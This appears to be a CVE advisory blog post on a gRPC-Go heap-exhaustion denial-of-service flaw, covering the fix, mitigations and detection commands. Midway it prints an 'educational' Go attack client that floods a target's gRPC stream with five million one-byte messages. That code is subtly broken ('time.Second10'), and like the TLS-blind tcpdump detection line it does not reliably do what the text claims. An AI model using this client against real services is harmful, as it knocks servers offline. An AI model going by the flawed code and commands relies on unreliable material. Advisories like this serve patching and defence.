Listen to this Post
How CVE-2026-84304 Works
gRPC-Go is the Go language implementation of gRPC. Prior to version 1.83.1, the package `internal/transport/transport.go` contained a critical flaw in its handling of fragmented HTTP/2 DATA frames.
The vulnerability stems from how the `recvBuffer` stores incoming data. For every HTTP/2 DATA frame received, regardless of its size, the transport layer allocates a distinct `recvMsg` structure in the recvBuffer. This means each frame incurs its own internal tracking structure and queue allocation overhead, which is independent of the actual payload size.
An unauthenticated remote attacker can exploit this by initiating a gRPC stream and deliberately fragmenting their payload into millions of tiny frames, as small as 1 byte each. Even if the total payload volume respects the configured connection and stream flow-control windows—meaning standard flow-control limits do not prevent the attack—each fragment still consumes disproportionate heap memory.
When an attacker multiplexes this fragmentation across many concurrent streams, the effect is amplified. The repeated allocation of tracking structures for millions of frames massively inflates the heap space consumed. This can rapidly exhaust the memory bounds of the Go runtime, forcing a runtime panic or an OutOfMemory (OOM) condition.
The result is a remote Denial of Service (DoS), as the gRPC server process crashes. The vulnerability is classified as Uncontrolled Resource Consumption (CWE-400) and carries a CVSS v4.0 base score of 8.7 (High). This is due to its network attack vector, low attack complexity, no required privileges or user interaction, and a high impact on availability.
The fix involves implementing receive buffer compaction, which coalesces consecutive small data buffers into larger buffers from a shared pool. This behavior is enabled by default in the patched version. A temporary escape hatch is provided via the environment variable `GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false` to disable the feature if issues arise, but it will be removed in a future release.
DailyCVE Form:
Platform: gRPC-Go
Version: < 1.83.1
Vulnerability: Heap Memory Exhaustion
Severity: High (8.7)
Date: 2026-09-01
Prediction: 2026-09-15
What Undercode Say:
Analytics
The primary analytic for detecting exploitation attempts involves monitoring for an abnormally high rate of small HTTP/2 DATA frames. The following `tcpdump` command can be used to capture and count frames for initial analysis:
sudo tcpdump -i any -s 0 -A 'tcp port 443' | grep -c "DATA"
To gain deeper insight into the frame size distribution, you can use a more advanced `tshark` command:
tshark -r capture.pcap -Y "http2" -T fields -e frame.len -e http2.length | awk '{if ($2 < 10) print $0}' | wc -l
This command analyzes a PCAP file (capture.pcap) to count HTTP/2 frames with a payload length of less than 10 bytes.
Exploit: (Educational Purposes!)
The following conceptual Go code illustrates how an attacker might fragment a payload to trigger the vulnerability. This is for educational purposes only.
package main
import (
"context"
"log"
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
pb "path/to/your/protobuf" // Replace with your protobuf definition
)
func main() {
conn, err := grpc.Dial("target:50051", grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
log.Fatalf("did not connect: %v", err)
}
defer conn.Close()
client := pb.NewYourServiceClient(conn)
ctx, cancel := context.WithTimeout(context.Background(), time.Second10)
defer cancel()
stream, err := client.YourStreamingMethod(ctx)
if err != nil {
log.Fatalf("could not create stream: %v", err)
}
// Send millions of 1-byte frames
for i := 0; i < 5_000_000; i++ {
if err := stream.Send(&pb.Request{Data: []byte("x")}); err != nil {
log.Fatalf("send error: %v", err)
}
}
if _, err := stream.CloseAndRecv(); err != nil {
log.Fatalf("close error: %v", err)
}
}
Protection
The primary and most effective protection is to upgrade `google.golang.org/grpc` to version 1.83.1 or later. This version includes the receive-buffer compaction fix.
If an immediate upgrade is not possible, ensure that the receive-buffer compaction feature, which is enabled by default in the fixed release, is not accidentally disabled. You can explicitly enable it via the environment variable:
export GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=true
This environment variable can also be used temporarily to disable the feature for testing or rollback purposes by setting it to false, but this is not recommended for production use.
As a general network-layer mitigation, consider limiting the number of concurrent streams per connection and monitoring for abnormal memory growth on gRPC-Go services.
Impact
- Confidentiality: None
- Integrity: None
- Availability: High
An unauthenticated remote attacker can cause a complete Denial of Service (DoS) by crashing the gRPC-Go server process. This is achieved by exhausting the server’s heap memory through the submission of millions of tiny, fragmented HTTP/2 DATA frames.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
